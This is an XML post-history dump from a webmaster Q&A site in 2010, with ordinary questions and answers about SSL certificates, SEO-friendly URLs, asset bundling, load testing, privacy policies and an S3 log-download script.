  <row Id="676" PostHistoryTypeId="2" PostId="369" RevisionGUID="892e5107-0e76-434d-abc4-fba62e717e26" CreationDate="2010-07-09T01:27:32.610" UserId="72" Text="In my opinion you could just do a nice looking hacker secure logo and it would probably do the same exact thing. It's nothing else than an image. That is unless you really want to pay 500$ for an image.&#xD;&#xA;&#xD;&#xA;From my own experience, I have seen many website with those kind of sticker that have easy to find and easy to correct flaw. I wouldn't be surprise if those site were as vulnerable (or even more !) as the other website." />
  <row Id="677" PostHistoryTypeId="2" PostId="370" RevisionGUID="7f258816-daf3-4342-b629-3df56de039ea" CreationDate="2010-07-09T01:29:32.400" UserDisplayName="delete" Text="Is this any use: http://developer.amazonwebservices.com/connect/entry.jspa?externalID=2330&#xD;&#xA;" />
  <row Id="678" PostHistoryTypeId="2" PostId="371" RevisionGUID="95755cda-3d06-4b0d-928e-be6251a9b501" CreationDate="2010-07-09T01:31:07.407" UserId="96" Text="I haven't yet read all of it since it's very new and still in beta, but [HTML5 &amp; CSS3][1] from Pragmatic Bookshelf is pretty good so far.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pragprog.com/titles/bhh5/html5-and-css3" />
  <row Id="679" PostHistoryTypeId="2" PostId="372" RevisionGUID="70358699-0d77-413b-983b-58d0851fda6f" CreationDate="2010-07-09T01:32:04.877" UserId="138" Text="I'm looking into getting a few SSL certificates for domains to cover the following:&#xD;&#xA;&#xD;&#xA;- autodiscover.example.com&#xD;&#xA;- remote.example.com&#xD;&#xA;- www.example.com&#xD;&#xA;&#xD;&#xA;Wildcard certificates are too expensive, so I'm going to purchase a single certificate for each subdomain (I have enough IP addresses to go around).&#xD;&#xA;&#xD;&#xA;My question is, what makes a $10 certificate better than a $100 certificate?&#xD;&#xA;&#xD;&#xA;Take for example the product range on this page. I know what an EV is (don't need it), and I know what a Secure Seal is (our users trust us already, so don't need that).&#xD;&#xA;&#xD;&#xA;But why would I go for a QuickSSL for $69 when I can get a RapidSSL for $10? The only difference is &quot;Brand Recognition&quot; (Moderate to Medium) and insurance.&#xD;&#xA;&#xD;&#xA;Can anyone spread any light on what they mean by &quot;Brand Recognition&quot;? Our public website is already well trusted by our users, and the other two subdomains are just for Outlook Anywhere (and thus won't be displayed in a browser).&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;Re-posted relevant question from http://serverfault.com/questions/82039/difference-between-ssl-products&lt;/sub&gt;" />
  <row Id="680" PostHistoryTypeId="1" PostId="372" RevisionGUID="70358699-0d77-413b-983b-58d0851fda6f" CreationDate="2010-07-09T01:32:04.877" UserId="138" Text="Are the different types of SSL certificates a bit of a scam?" />
  <row Id="681" PostHistoryTypeId="3" PostId="372" RevisionGUID="70358699-0d77-413b-983b-58d0851fda6f" CreationDate="2010-07-09T01:32:04.877" UserId="138" Text="&lt;ssl&gt;" />
  <row Id="682" PostHistoryTypeId="2" PostId="373" RevisionGUID="f8c1ced9-e60d-4fbf-a08e-b007cedc284e" CreationDate="2010-07-09T01:34:31.140" UserId="96" Text="I think it's worth it, as I've caught many markup and logic errors by seeking validation.  It's one of those &quot;necessary but not sufficient&quot; things.  Valid markup, like code that compiles (or checks out via JSlint) free of errors, warnings, and hints, is a good first step in getting it right." />
  <row Id="683" PostHistoryTypeId="2" PostId="374" RevisionGUID="9466c490-3453-41a5-86dd-fda2a0ad1c3f" CreationDate="2010-07-09T01:37:45.470" UserDisplayName="delete" Text="Which is better for search engines,&#xD;&#xA;&#xD;&#xA;    example.com/my_cool_page.html&#xD;&#xA;&#xD;&#xA;versus&#xD;&#xA;&#xD;&#xA;    example.com/my-cool-page.html&#xD;&#xA;&#xD;&#xA;?" />
  <row Id="684" PostHistoryTypeId="1" PostId="374" RevisionGUID="9466c490-3453-41a5-86dd-fda2a0ad1c3f" CreationDate="2010-07-09T01:37:45.470" UserDisplayName="delete" Text="Should I use hyphens or underscores?" />
  <row Id="685" PostHistoryTypeId="3" PostId="374" RevisionGUID="9466c490-3453-41a5-86dd-fda2a0ad1c3f" CreationDate="2010-07-09T01:37:45.470" UserDisplayName="delete" Text="&lt;seo&gt;&lt;url&gt;" />
  <row Id="686" PostHistoryTypeId="5" PostId="346" RevisionGUID="d9bce94a-323e-48df-a060-b9886172756f" CreationDate="2010-07-09T01:39:00.477" UserDisplayName="delete" Comment="added 76 characters in body" Text="I do my own log processing using my own self-written analyzer. That means I have to deal with the continual nuisance of referrer spammers. Is there anywhere I can get an up-to-date list of referrer spammers?&#xD;&#xA;" />
  <row Id="687" PostHistoryTypeId="2" PostId="375" RevisionGUID="4f054fe8-e4a2-45f2-bd16-88c7d686ce69" CreationDate="2010-07-09T01:41:13.870" UserDisplayName="delete" Text="How much of your website traffic is attacks? Every day I am getting requests for .dll and similar things which don't appear anywhere on my (static) website. What proportion of your traffic is like this?&#xD;&#xA;&#xD;&#xA;(It says that this &quot;appears subjective and is likely to be closed&quot; so I'm marking it community wiki.)&#xD;&#xA;" />
  <row Id="688" PostHistoryTypeId="1" PostId="375" RevisionGUID="4f054fe8-e4a2-45f2-bd16-88c7d686ce69" CreationDate="2010-07-09T01:41:13.870" UserDisplayName="delete" Text="How much of your website traffic is attacks?" />
  <row Id="689" PostHistoryTypeId="3" PostId="375" RevisionGUID="4f054fe8-e4a2-45f2-bd16-88c7d686ce69" CreationDate="2010-07-09T01:41:13.870" UserDisplayName="delete" Text="&lt;untagged&gt;" />
  <row Id="690" PostHistoryTypeId="16" PostId="375" RevisionGUID="4f054fe8-e4a2-45f2-bd16-88c7d686ce69" CreationDate="2010-07-09T01:41:13.870" UserDisplayName="delete" />
  <row Id="691" PostHistoryTypeId="2" PostId="376" RevisionGUID="37015bac-a7de-4382-a131-cd85c24d74d1" CreationDate="2010-07-09T01:41:31.857" UserId="141" Text="I think hyphens are easier to read, and it's what is in use the most (so your users will expect the URL to contain hyphens)." />
  <row Id="692" PostHistoryTypeId="5" PostId="363" RevisionGUID="5de41e44-596b-485c-8c7d-30502f365a25" CreationDate="2010-07-09T01:46:03.827" UserDisplayName="delete" Comment="added 68 characters in body; edited tags" Text="I know how to find dead links which go to 404 pages. However, these days not many links actually go dead, but instead they end up going to a domain squatter. I realise this is a tall order, but is there any way to find out whether a website is actually a domain squatter without actually going to each site with my browser and examining it to see if there is a picture of a girl with a rucksack etc.?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="693" PostHistoryTypeId="6" PostId="363" RevisionGUID="5de41e44-596b-485c-8c7d-30502f365a25" CreationDate="2010-07-09T01:46:03.827" UserDisplayName="delete" Comment="added 68 characters in body; edited tags" Text="&lt;untagged&gt;" />
  <row Id="694" PostHistoryTypeId="2" PostId="377" RevisionGUID="04e339db-401b-4231-9edb-c00dd558645a" CreationDate="2010-07-09T01:49:34.490" UserId="96" Text="That's an interesting and far-ranging question. I'd say the primary difference between &quot;normal&quot; web hosting and making use of a cloud-based service is on-demand (or dynamic) scalability. &#xD;&#xA;&#xD;&#xA;A &quot;normal&quot; web hosting service usually provides a certain level of service (cpu cycles, bandwidth, storage space, etc.) for a fixed price per unit of time. You pay that price regardless of how much of the service you actually use. If your needs exceed the service level then you are stuck in most cases.&#xD;&#xA;&#xD;&#xA;The idea behind most cloud services is that the service level varies, sometimes wildly, and that you pay for only what you actually use.&#xD;&#xA;&#xD;&#xA;Consider Netflix as a use case:  I bet the Netflix service level spikes in the evening and nighttime hours on weekdays and most of the time on weekends (in the USA). So their service level needs Friday night at 7pm are vastly different than Tuesday morning at 9:30am. Using a &quot;normal&quot; hosting service, they'd have to pay for &quot;Friday night level&quot; service all the time whereas with a cloud-based solution the amount they pay varies as their service level grows and shrinks on demand.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="695" PostHistoryTypeId="2" PostId="378" RevisionGUID="c651d11d-0646-4191-9a43-2985de5636cb" CreationDate="2010-07-09T01:50:15.083" UserId="164" Text="AskApache:&#xD;&#xA;http://www.askapache.com/" />
  <row Id="696" PostHistoryTypeId="2" PostId="379" RevisionGUID="fad5090a-e63a-4303-b25f-d7965588e468" CreationDate="2010-07-09T02:02:27.690" UserId="132" Text="I believe hyphens will do better on search engines, since they are used as word separators. Plus they are a little easier for users to read." />
  <row Id="697" PostHistoryTypeId="2" PostId="380" RevisionGUID="10d3fa31-dbed-415e-bb92-4cb2964affa9" CreationDate="2010-07-09T02:04:16.093" UserId="132" Text="There's a new HTML5 book from &lt;a href=&quot;http://books.alistapart.com/&quot;&gt;A Book Apart&lt;/a&gt;, written by Jeremy Keith. I have it on order, haven't read it yet, but it has been receiving praise online." />
  <row Id="698" PostHistoryTypeId="6" PostId="188" RevisionGUID="fa34f56d-2576-44e1-8e50-6f3b895f51ec" CreationDate="2010-07-09T02:14:09.550" UserId="156" Comment="edited tags" Text="&lt;optimization&gt;&lt;css&gt;&lt;bandwidth&gt;" />
  <row Id="699" PostHistoryTypeId="2" PostId="381" RevisionGUID="7b3a1bc5-33c0-4d62-9893-508984434455" CreationDate="2010-07-09T02:15:38.907" UserId="156" Text="Both [YSlow][1] and Google's [Page Speed][2] add-ons recommend combining script (and style) files into a single file each to reduce the number of HTTP requests, and I can certainly see the point of this when the script files are consistent across the entire site, but for a web application that has different requirements across the site.&#xD;&#xA;&#xD;&#xA;The way I see it there are a few options:&#xD;&#xA;&#xD;&#xA; 1. Combine all of the files that are used across the site, and every page gets the same combined file - the downside is unused content cluttering the script (and a heavier first load (also reload when any component script changes))&#xD;&#xA;&#xD;&#xA; 2. Combine the files on a per page&#xD;&#xA;    basis - the downside is each page&#xD;&#xA;    with different requirements gets a&#xD;&#xA;    different combined file (heavier&#xD;&#xA;    first load for each page type)&#xD;&#xA;&#xD;&#xA; 3. Ignore the strict 'one file only' interpretation of the recommendations and have the page load in multiple files as appropriate, with caching hopefully negating the number of HTTP requests in the general case - downside is the number of HTTP requests on each page &#xD;&#xA;&#xD;&#xA;Thoughts?&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [2]: http://code.google.com/speed/page-speed/" />
  <row Id="700" PostHistoryTypeId="1" PostId="381" RevisionGUID="7b3a1bc5-33c0-4d62-9893-508984434455" CreationDate="2010-07-09T02:15:38.907" UserId="156" Text="Should I combine js/css files into a single file?" />
  <row Id="701" PostHistoryTypeId="3" PostId="381" RevisionGUID="7b3a1bc5-33c0-4d62-9893-508984434455" CreationDate="2010-07-09T02:15:38.907" UserId="156" Text="&lt;optimization&gt;&lt;css&gt;&lt;javascript&gt;" />
  <row Id="702" PostHistoryTypeId="2" PostId="382" RevisionGUID="00b1e647-d583-43a2-8450-d6bb45e79155" CreationDate="2010-07-09T02:20:31.937" UserId="24" Text="Amazon recommends using AWStats and includes [instructions on how to set up an AWStats configuration file](http://developer.amazonwebservices.com/connect/entry.jspa?externalID=2330). You will also need to set up some method to automate downloading the logs to where your AWStats installation is.&#xD;&#xA;&#xD;&#xA;Personally I use cron to set off a Python script that uses [boto](http://code.google.com/p/boto/wiki/BotoS3Examples) to grab the files.&#xD;&#xA;&#xD;&#xA;	&quot;&quot;&quot;s3logDL.py&#xD;&#xA;&#xD;&#xA;	Downloads S3 logs and deletes old logs&#xD;&#xA;&#xD;&#xA;	Usage: python s3logDL.py&quot;&quot;&quot;&#xD;&#xA;&#xD;&#xA;	import sys&#xD;&#xA;	import os&#xD;&#xA;	from boto.s3 import Connection&#xD;&#xA;	import boto.s3&#xD;&#xA;&#xD;&#xA;	########################&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	########################&#xD;&#xA;&#xD;&#xA;	def main(argv):&#xD;&#xA;		s3 = Connection('ACCESS_ID', 'PASSWORD')&#xD;&#xA;		logsBucket = s3.get_bucket('logbucket')&#xD;&#xA;	&#xD;&#xA;		for b in logsBucket:&#xD;&#xA;			#Download log&#xD;&#xA;			print b.name&#xD;&#xA;			key = logsBucket.get_key(b.name)&#xD;&#xA;			fp = open(&quot;/PATH/TO/SAVE/POINT/&quot; + b.name, &quot;w&quot;)&#xD;&#xA;			key.get_file(fp)&#xD;&#xA;&#xD;&#xA;			#Delete log&#xD;&#xA;			key.delete()&#xD;&#xA;&#xD;&#xA;		exit(0)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	########################&#xD;&#xA;&#xD;&#xA;	if __name__ == '__main__':&#xD;&#xA;		main(sys.argv)&#xD;&#xA;" />
  <row Id="703" PostHistoryTypeId="2" PostId="383" RevisionGUID="463dabe0-0e7f-45a2-9d2c-858d8557e9dd" CreationDate="2010-07-09T02:21:02.450" UserId="26" Text="The [**Better Business Bureau Online**][1] has a [**Sample Privacy Notice**][2] which is as good as any in terms of a simple, but thorough policy. It has these sections:&#xD;&#xA;&#xD;&#xA; - Our Commitment To Privacy&#xD;&#xA; - The Information We Collect&#xD;&#xA; - How We Use Information&#xD;&#xA; - Our Commitment To Data Security&#xD;&#xA; - Our Commitment To Children's Privacy&#xD;&#xA; - How To Access Or Correct Your Information&#xD;&#xA; - How To Contact Us&#xD;&#xA;&#xD;&#xA;[**Here's another one**][3], from apps.gov, with these headings:&#xD;&#xA;&#xD;&#xA; - Information Collected and Stored Automatically&#xD;&#xA; - If You Provide Personal Information&#xD;&#xA; - Cookies&#xD;&#xA; - Links to Other Sites&#xD;&#xA; - Children’s Privacy&#xD;&#xA; - Internet Security&#xD;&#xA; - Changes to this Policy&#xD;&#xA;&#xD;&#xA;Those two together should give you a solid template. If you store and collect more data, be clear about the data retention and reselling policies and you might think about putting together something more like an End User License Agreement.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bbbonline.org/&#xD;&#xA;  [2]: http://www.bbbonline.org/privacy/sample_privacy.asp&#xD;&#xA;  [3]: http://blog.citizen.apps.gov/release/home/privacy-policy/ " />
  <row Id="704" PostHistoryTypeId="2" PostId="384" RevisionGUID="f5d239af-096f-4ad2-9157-271c10fd90f5" CreationDate="2010-07-09T02:21:57.067" UserId="141" Text="Option 2 is the worst; it means that every page with a different combination of needed JS scripts will result in an HTTP request. It will make performance **much** worse.&#xD;&#xA;&#xD;&#xA;Option 1 is the best. Eventually most users will visit most of the page &quot;types&quot; of your website, so it's still advantageous to combine everything into a single file, with maybe the exception of large JS files that are needed in few, seldom visited pages.&#xD;&#xA;&#xD;&#xA;The first page hit may be slower than with different files, but it's still worth doing as every other page hit will used the cached global JS.&#xD;&#xA;&#xD;&#xA;One tip though; merge them automatically if you aren't already!" />
  <row Id="705" PostHistoryTypeId="2" PostId="385" RevisionGUID="5c03ad37-2eba-469b-a183-f4b851f3df7a" CreationDate="2010-07-09T02:23:43.363" UserId="166" Text="What is the most effective way to load to load test your app? The main point is to determine how many users you could support at a single time with the application still running at a reasonable speed." />
  <row Id="706" PostHistoryTypeId="1" PostId="385" RevisionGUID="5c03ad37-2eba-469b-a183-f4b851f3df7a" CreationDate="2010-07-09T02:23:43.363" UserId="166" Text="How do you load test your application?" />
  <row Id="707" PostHistoryTypeId="3" PostId="385" RevisionGUID="5c03ad37-2eba-469b-a183-f4b851f3df7a" CreationDate="2010-07-09T02:23:43.363" UserId="166" Text="&lt;performance&gt;&lt;load-testing&gt;" />
  <row Id="708" PostHistoryTypeId="2" PostId="386" RevisionGUID="1c0db66e-8c97-437c-933d-9213c88a5616" CreationDate="2010-07-09T02:24:39.553" UserDisplayName="delete" Text="A lot of web hosts will take down a site at the first hint of trouble. What sites can I use to host controversial (yet legal) content?&#xD;&#xA;" />
  <row Id="709" PostHistoryTypeId="1" PostId="386" RevisionGUID="1c0db66e-8c97-437c-933d-9213c88a5616" CreationDate="2010-07-09T02:24:39.553" UserDisplayName="delete" Text="Web hosts for controversial (yet legal) content" />
  <row Id="710" PostHistoryTypeId="3" PostId="386" RevisionGUID="1c0db66e-8c97-437c-933d-9213c88a5616" CreationDate="2010-07-09T02:24:39.553" UserDisplayName="delete" Text="&lt;webhost&gt;&lt;recommendations&gt;" />
  <row Id="711" PostHistoryTypeId="2" PostId="387" RevisionGUID="19b8f9c4-1166-43ac-b10a-b6f18c3bc010" CreationDate="2010-07-09T02:24:49.447" UserId="138" Text="We got ours [from here][1]. It's customised and was cheap(er than getting a legal team to do it for us).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.lawlive.com.au/legal-website-privacy-policy/" />
  <row Id="712" PostHistoryTypeId="2" PostId="388" RevisionGUID="7724dbe7-47f1-4f1d-a8af-ad0fa981dad0" CreationDate="2010-07-09T02:31:49.350" UserId="86" Text="There's http://www.geobytes.com/IpLocator.htm which gives 20 IP lookups / hour.  Generally IP lookups are not so accurate (they map to the ISP), and most HTML5-capable browsers can read the location." />
  <row Id="714" PostHistoryTypeId="5" PostId="329" RevisionGUID="59f71b2f-0c4a-4454-9ed2-dbc1abf7b5e4" CreationDate="2010-07-09T02:42:56.703" UserId="26" Comment="grammar fix" Text="What are good blogs or RSS feeds about Search Engine Optimization ?" />
  <row Id="715" PostHistoryTypeId="4" PostId="329" RevisionGUID="59f71b2f-0c4a-4454-9ed2-dbc1abf7b5e4" CreationDate="2010-07-09T02:42:56.703" UserId="26" Comment="grammar fix" Text="What are the good blog/rss feeds about SEO ?" />
  <row Id="716" PostHistoryTypeId="2" PostId="389" RevisionGUID="f1290fe8-944b-4794-80d1-a638c923fb75" CreationDate="2010-07-09T02:49:11.010" UserId="26" Text="Here's an article from 2007: [**Free Speech Hosting: 11 Web Hosts That Won't Dump You at the First Sign of Controversy**][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://whdb.com/2007/free-speech-hosting-11-web-hosts-that-wont-dump-you-at-the-first-sign-of-controversy/" />
  <row Id="720" PostHistoryTypeId="5" PostId="386" RevisionGUID="e3a7430a-e49d-4b46-9d49-8234ec42184b" CreationDate="2010-07-09T02:51:19.677" UserDisplayName="delete" Comment="added 223 characters in body" Text="A lot of web hosts will take down a site at the first hint of trouble. What sites can I use to host controversial (yet legal) content? &#xD;&#xA;&#xD;&#xA;(Examples of such content might be a whistleblower site or an opinionated blog. Examples of things which this question would not cover would be jihad sites, child molester sites, piratebay-style bittorrent sites, etc.)&#xD;&#xA;" />
  <row Id="722" PostHistoryTypeId="2" PostId="392" RevisionGUID="a9d9dd9f-3a23-4f57-b1ac-3a8d52ca5ba1" CreationDate="2010-07-09T03:01:36.190" UserDisplayName="delete" Text="[Stupid htaccess tricks][1], despite the name and colour scheme it's not stupid.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/" />
  <row Id="724" PostHistoryTypeId="2" PostId="394" RevisionGUID="fd0cd7b5-9336-4dcb-b818-6ebfd4615c30" CreationDate="2010-07-09T03:12:33.063" UserId="156" Text="I've just started an account with [NearlyFreeSpeech.net][1] (not actually doing anything with it yet though) and this is pretty much one of their raisons d'etre. From their [abuse page][2]:&#xD;&#xA;&#xD;&#xA;&gt;  When our members upload content to our service, they are asserting two things:&#xD;&#xA;&gt;&#xD;&#xA;&gt;  * That the content is legal in the United States.&#xD;&#xA;&gt;  * That they have the legal right to make the content available&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt; Please do not assume that we support&#xD;&#xA;&gt; or endorse all the content posted by&#xD;&#xA;&gt; our members. We believe that freedom&#xD;&#xA;&gt; of speech is the inalienable right of&#xD;&#xA;&gt; all people. Consequently, we do not&#xD;&#xA;&gt; censor our members on the basis of&#xD;&#xA;&gt; content, no matter how offensive or&#xD;&#xA;&gt; repugnant we may personally find that&#xD;&#xA;&gt; content to be. Our company would have&#xD;&#xA;&gt; to have a different name if we only&#xD;&#xA;&gt; allowed members to publish&#xD;&#xA;&gt; uncontroversial content that we happen&#xD;&#xA;&gt; to agree with.&#xD;&#xA;&#xD;&#xA;Which pretty much covers both parts of your question.&#xD;&#xA;&#xD;&#xA;Depending on what you want to do they may not be suitable (no SSL at the moment, can't run persistent processes, seems to be aimed at a fairly technical client base), but the price seems good, and the only support request I've had so far (software upgrade) happened reasonably quickly and without problems.&#xD;&#xA;&#xD;&#xA;As I say though, I've only just signed up (and that was based on price rather than planning to host controversial content), so I haven't really given them a chance to disappoint me yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.nearlyfreespeech.net/&#xD;&#xA;  [2]: https://www.nearlyfreespeech.net/help/abuse" />
  <row Id="725" PostHistoryTypeId="2" PostId="395" RevisionGUID="1e4bc0a5-0803-4cc9-bdff-ecb6c1a7000b" CreationDate="2010-07-09T03:20:54.160" UserId="141" Text="It depends on how complex it is; if it's very complex you probably need something more involved, but for a typical dynamic website using a script that spawns several [wget][1] instances requesting key pages in your website should work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/wget/" />
  <row Id="727" PostHistoryTypeId="2" PostId="397" RevisionGUID="19d25761-5a34-4afc-9fbf-eaaaf13d7341" CreationDate="2010-07-09T03:24:47.533" UserId="109" Text="[httperf][1] mainly, and a ton of instrumentation to catch duplicate queries and cache misses.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hpl.hp.com/research/linux/httperf/" />
  <row Id="728" PostHistoryTypeId="2" PostId="398" RevisionGUID="34451d84-b4ae-44cf-b28c-cfac53ecdb17" CreationDate="2010-07-09T03:27:06.677" UserId="168" Text="I really like [Sitefinity][1] from Telerik.  There's a community edition or a fairly inexpensive commercial edition.  It's easy to make templates for, easy for end users, and has a well documented API for building custom modules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sitefinity.com/" />
  <row Id="729" PostHistoryTypeId="16" PostId="398" RevisionGUID="34451d84-b4ae-44cf-b28c-cfac53ecdb17" CreationDate="2010-07-09T03:27:06.677" UserId="-1" />
  <row Id="730" PostHistoryTypeId="2" PostId="399" RevisionGUID="f605af0c-9838-462d-b4f3-892526878083" CreationDate="2010-07-09T03:28:00.390" UserId="109" Text="Here is your answer:&#xD;&#xA;&#xD;&#xA;![this url][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i25.tinypic.com/69p76g.jpg" />
  <row Id="731" PostHistoryTypeId="2" PostId="400" RevisionGUID="42bd39c1-13d6-48b4-bf22-cc7d46c4d22e" CreationDate="2010-07-09T03:29:52.153" UserId="109" Text="I think __[cartel][1]__ is the word you are looking for&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cartel" />
  <row Id="732" PostHistoryTypeId="2" PostId="401" RevisionGUID="e541398d-6eb3-4a90-bb76-859136fb197e" CreationDate="2010-07-09T03:33:45.210" UserId="26" Text="According to the Protocol site: **[Sitemap file location][1]**:&#xD;&#xA;&#xD;&#xA;&gt; Note that this means that all URLs&#xD;&#xA;&gt; listed in the Sitemap must use the&#xD;&#xA;&gt; same protocol (http, in this example)&#xD;&#xA;&gt; and reside on the same host as the&#xD;&#xA;&gt; Sitemap. For instance, if the Sitemap&#xD;&#xA;&gt; is located at&#xD;&#xA;&gt; `http://www.example.com/sitemap.xml`,&#xD;&#xA;&gt; it can't include URLs from&#xD;&#xA;&gt; `http://subdomain.example.com`.&#xD;&#xA;&gt; &#xD;&#xA;&gt; URLs that are not considered valid are&#xD;&#xA;&gt; dropped from further consideration. It&#xD;&#xA;&gt; is strongly recommended that you place&#xD;&#xA;&gt; your Sitemap at the root directory of&#xD;&#xA;&gt; your web server. For example, if your&#xD;&#xA;&gt; web server is at example.com, then&#xD;&#xA;&gt; your Sitemap index file would be at&#xD;&#xA;&gt; `http://example.com/sitemap.xml`. In&#xD;&#xA;&gt; certain cases, you may need to produce&#xD;&#xA;&gt; different Sitemaps for different paths&#xD;&#xA;&gt; (e.g., if security permissions in your&#xD;&#xA;&gt; organization compartmentalize write&#xD;&#xA;&gt; access to different directories).&#xD;&#xA;&#xD;&#xA;Also: [**Sitemaps &amp; Cross Submits**][2]&#xD;&#xA;&#xD;&#xA;&gt; To submit Sitemaps for multiple hosts&#xD;&#xA;&gt; from a single host, you need to&#xD;&#xA;&gt; &quot;prove&quot; ownership of the host(s) for&#xD;&#xA;&gt; which URLs are being submitted in a&#xD;&#xA;&gt; Sitemap.&#xD;&#xA;&#xD;&#xA;Any YouTube urls you add to your sitemap will be considered invalid.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php#location&#xD;&#xA;  [2]: http://www.sitemaps.org/protocol.php#sitemaps_cross_submits" />
  <row Id="733" PostHistoryTypeId="2" PostId="402" RevisionGUID="a34abb82-49b9-4f93-a5d6-ec383c6243bf" CreationDate="2010-07-09T03:34:00.220" UserId="69" Text="The most comprehensive load testing software I have found is [HP LoadRunner][1] (sorry for the bit.ly link but the HP link is horrible and won't work correctly). It is very flexible and you can generate a lot of different types of reports from the load tests. You can also have a group of machines work in tandem to load test. Not that other tools are bad but it makes something like [Apache JMeter][2] look like a toy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bit.ly/4r8G2l&#xD;&#xA;  [2]: http://jakarta.apache.org/jmeter/" />
  <row Id="734" PostHistoryTypeId="5" PostId="397" RevisionGUID="2d09d5e9-bc4a-405b-97b3-a0a7f3c086bf" CreationDate="2010-07-09T03:37:12.780" UserId="109" Comment="added 374 characters in body" Text="__[httperf][1] mainly and also [AB the Apache Benchmarking tool][2]__&#xD;&#xA;&#xD;&#xA;(and a ton of instrumentation to catch duplicate queries and cache misses.)&#xD;&#xA;&#xD;&#xA;It is simple, effective and can spawn alot of traffic from a quad-core+ machine attached to your server on gigabit ethernet. It also has cool stuff like rate limiting.&#xD;&#xA;&#xD;&#xA;If you want to get really fancy, you can record and playback HTTP traffic with httperf.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hpl.hp.com/research/linux/httperf/&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/programs/ab.html" />
  <row Id="735" PostHistoryTypeId="2" PostId="403" RevisionGUID="68564db8-1544-4977-a072-cff0accd51a4" CreationDate="2010-07-09T03:55:18.753" UserId="26" Text="When I set up a site in multiple languages, how should I set up my urls for search engines and usability?&#xD;&#xA;&#xD;&#xA;Let's say my site is `www.example.com`, and I'm translating into French and Spanish. What is best for usability and SEO?&#xD;&#xA;&#xD;&#xA;**Directory option:**&#xD;&#xA;&#xD;&#xA;    http://www.example.com/sample.html&#xD;&#xA;    http://www.example.com/fr/sample.html&#xD;&#xA;    http://www.example.com/es/sample.html&#xD;&#xA;&#xD;&#xA;**Subdomain option:**&#xD;&#xA;&#xD;&#xA;    http://www.example.com/sample.html&#xD;&#xA;    http://fr.example.com/sample.html&#xD;&#xA;    http://es.example.com/sample.html&#xD;&#xA;&#xD;&#xA;**Filename option:**&#xD;&#xA;&#xD;&#xA;    http://www.example.com/sample.html&#xD;&#xA;    http://www.example.com/sample.fr.html&#xD;&#xA;    http://www.example.com/sample.es.html&#xD;&#xA;&#xD;&#xA;**Accept-Language header:**&#xD;&#xA;&#xD;&#xA;Or should I simply parse the [`Accept-Language`][1] header and generate content server-side to suit that header?&#xD;&#xA;&#xD;&#xA;Is there another way to do this? If the different language versions don't have different urls, what do I do about the search engines?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.4&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="736" PostHistoryTypeId="1" PostId="403" RevisionGUID="68564db8-1544-4977-a072-cff0accd51a4" CreationDate="2010-07-09T03:55:18.753" UserId="26" Text="How should I structure my urls for both SEO and localization?" />
  <row Id="737" PostHistoryTypeId="3" PostId="403" RevisionGUID="68564db8-1544-4977-a072-cff0accd51a4" CreationDate="2010-07-09T03:55:18.753" UserId="26" Text="&lt;seo&gt;&lt;i18n&gt;&lt;language&gt;" />
  <row Id="738" PostHistoryTypeId="2" PostId="404" RevisionGUID="c2a16b3c-3edd-4caa-bc8f-e20b24b4eaa6" CreationDate="2010-07-09T04:00:57.453" UserId="169" Text="there is no disadvantage of having valid html. there is a reason why there is a spec in the first place and why a lot of effort is being put into the spec to define how things should work.&#xD;&#xA;&#xD;&#xA;basically, all you gain is to meet the specs. which in turn means, programs written to read html (browsers, bots) can not blame YOU for not meeting the specs if something goes wrong. and some of these programs give you extrapoints (higher ranking in search engines if the bot reports &quot;meets the spec&quot;). if you meet the specs you will be caught much less by surprise if some browsers do not render broken html the way you think it should. &#xD;&#xA;&#xD;&#xA;so, to meet the specs and write valid html is good for you, no disadvantages at all." />
  <row Id="739" PostHistoryTypeId="2" PostId="405" RevisionGUID="793c472a-0ac9-461e-b335-09a9ce1b7ead" CreationDate="2010-07-09T04:01:31.587" UserId="26" Text="Google has extensive tools for webmasters, and good SEO seems to be directed at Google first and foremost. But what other search engines should I be worrying about?&#xD;&#xA;&#xD;&#xA;I could look at my logs, but then, if my site is poorly optimized for them, they may not be significant. How do I decide what search engines to cater to?" />
  <row Id="740" PostHistoryTypeId="1" PostId="405" RevisionGUID="793c472a-0ac9-461e-b335-09a9ce1b7ead" CreationDate="2010-07-09T04:01:31.587" UserId="26" Text="Other than Google, how do I decide which search engines to optimize for?" />
  <row Id="741" PostHistoryTypeId="3" PostId="405" RevisionGUID="793c472a-0ac9-461e-b335-09a9ce1b7ead" CreationDate="2010-07-09T04:01:31.587" UserId="26" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;" />
